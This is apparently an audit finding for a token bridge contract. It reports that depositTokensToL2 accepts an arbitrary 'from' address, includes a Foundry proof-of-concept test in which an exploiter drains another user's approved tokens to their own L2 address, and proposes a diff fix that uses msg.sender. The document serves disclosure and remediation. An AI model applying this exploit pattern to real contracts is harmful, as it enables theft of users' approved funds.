Summary
A user can use an other user address having a large approval and send token to his address on L2
Vulnerability Details
POC
function testdepositTokensToL2_balance_manipulation() public {
uint256 largeApprove = 100e18;
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
vm.startPrank(user);
token.balanceOf(address(user));
token.approve(address(tokenBridge), largeApprove);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
vm.startPrank(exploiter);
uint256 exploiterInitialBalance = token.balanceOf(address(exploiter));
uint256 amountStoleInL2 = largeApprove - depositAmount;
tokenBridge.depositTokensToL2(user, exploiter, amountStoleInL2);
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount - amountStoleInL2 );
vm.stopPrank();
}
At the end of this test the exploiter will have the max approved amount on the L2 assuming the user have this amount available (which it is in this test), and the user will have lost a lot of money.
Impact
User fund can be deposit to the vault without knowing it and the exploiter will end up with free token on L2
Tools Used
forge test
Recommendations
Use "msg.sender" in depositTokensToL2 instead of "from"
-function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
// @audit-issue what if from is the vault you got unlimited token on L2
// @audit-issue sending token to the vault will be the deposit limit
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}